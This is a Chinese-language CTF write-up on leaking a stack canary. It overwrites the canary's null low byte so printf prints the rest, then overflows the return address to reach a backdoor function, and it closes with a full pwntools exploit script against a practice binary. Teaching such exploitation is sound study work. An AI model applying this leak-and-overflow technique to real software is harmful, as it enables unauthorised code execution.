Canary绕过专题(1)——覆盖截断字符

覆盖截断字符获取Canary#

先看例题

检查一下安全机制

IDA中找到漏洞函数

很贴心的给了一个backdoor

这题的栈帧挺好分析的，画个图出来

函数中有两次栈溢出可利用，第一个 read可读112字节，正好覆盖不到返回地址

第二个 read可读256字节，可以覆盖返回地址

于是思路很清晰，利用第一个 read泄露Canary值，再用第二个来覆盖返回地址

Canary的低字节被设置为 \x00，在小端序存储下，低位字节存储在最前面

我们用 printf来泄露的话，遇到**\x00**便会被截断，导致无法泄露后续的数据

因此1，如果可以覆盖掉这个**\x00**，就可以绕过printf的截断从而泄露出canary。

1
buf[0]......buf[95] | 00 xx xx xx |......

不过，因为我们修改了canary，因此泄露canary和利用漏洞的过程必须在同一个函数内进行，并且利用的过程需要将**\x00**恢复

可以看到，\x00被替换成了**\x0a**（使用了sendline），printf成功泄露出了后面三个值55 91 2c

那么Canary值就是

1
Canary = 0x2c915500

最后注意，使用读取偏移的方法截取这三个字节的时候，要把前面I got your words的18个字节算上

（我就是没注意这个导致Canary一直没泄露成功）

最后exp：

1
from pwn import *
2

3
context.arch = 'i386'
4
context.log_level = 'debug'
5
p = remote('ip', port)
6
#p = process('./canary1')
7

8
backdoor_addr = 0x08049223
9

10
p.recvuntil("say:\n")
11
payload1 = cyclic(96)
12
p.sendline(payload1)
13
response = p.recvuntil(b'Okay')
14
canary_bytes = b'\x00'+response[116:119]
15
canary = u32(canary_bytes)
16

17
print(hex(canary))
18

19
payload2 = b'A'*96 + p32(canary) + b'B'*8 + p32(0x42424242) + p32(backdoor_addr)
20
p.recvuntil(b'next?\n')
21

22
p.send(payload2)
23

24
p.interactive()